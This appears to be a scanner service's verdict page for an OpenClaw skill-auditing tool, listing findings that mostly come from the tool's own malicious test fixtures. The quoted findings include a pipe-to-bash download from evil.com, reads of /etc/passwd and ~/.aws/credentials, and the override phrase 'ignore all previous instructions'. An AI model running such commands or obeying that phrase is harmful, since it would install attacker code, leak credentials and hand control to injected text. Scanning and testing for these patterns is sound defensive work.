Caveat verdict

skill-auditor

yoder-skill-auditor

88
🟢 Trusted
No high-risk patterns surfaced by the deep scan — automated capability review, not behavioral proof.

Security scanner for OpenClaw skills performing static analysis across 18 checks; consistent with stated security auditing purpose and no malicious patterns present.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
100
transparency
90
maintenance

Findings (16)

Pattern match high

Pipe to bash — executes piped content as shell commands

audit.sh · prose · downgraded · |bash

Pattern match high

Pipe to python — executes piped content as Python code

benchmark.sh · prose · downgraded · | python3

Pattern match high

Accesses sensitive system files

tests/malicious-symlink/setup.sh · prose · downgraded · /etc/passwd

Pattern match high

Accesses AWS credentials file

tests/malicious-sysread/monitor.sh · prose · downgraded · ~/.aws/credentials

Pattern match high

Possible hardcoded credential

tests/malicious-basic/fetch.sh · prose · downgraded · API_KEY="${WEATHER_API_KEY}

Pattern match high

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

tests/malicious-download-exec/run.sh · prose · downgraded · curl -s https://evil.com/payload.sh | bash

Pattern match high

Prompt injection — tries to override agent instructions

tests/malicious-prompt-injection/SKILL.md · prose · downgraded · ignore all previous instructions

Pattern match medium

References child_process — can spawn system processes

audit.sh · prose · downgraded · child_process

Pattern match medium

References sudo — requests elevated privileges

audit.sh · prose · downgraded · sudo

Pattern match medium

setuid — privilege escalation mechanism

CHANGELOG.md · prose · downgraded · setuid

Pattern match medium

Accesses cloud provider credentials

tests/malicious-sysread/monitor.sh · prose · downgraded · ~/.aws

Pattern match medium

Accesses .ssh directory

tests/malicious-obfuscated/optimize.js · prose · downgraded · .ssh/

Pattern match medium

subprocess execution — runs system commands from Python

trust_score.py · prose · downgraded · subprocess.run(

Pattern match low

Popular HTTP library — network access

audit.sh · prose · downgraded · axios

Pattern match low

Changes file ownership

audit.sh · prose · downgraded · chown

Pattern match low

Python os.environ.get — reads environment variable

trust-score.sh · prose · downgraded · os.environ.get(

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/B/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

Requires 2 system binaries.

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API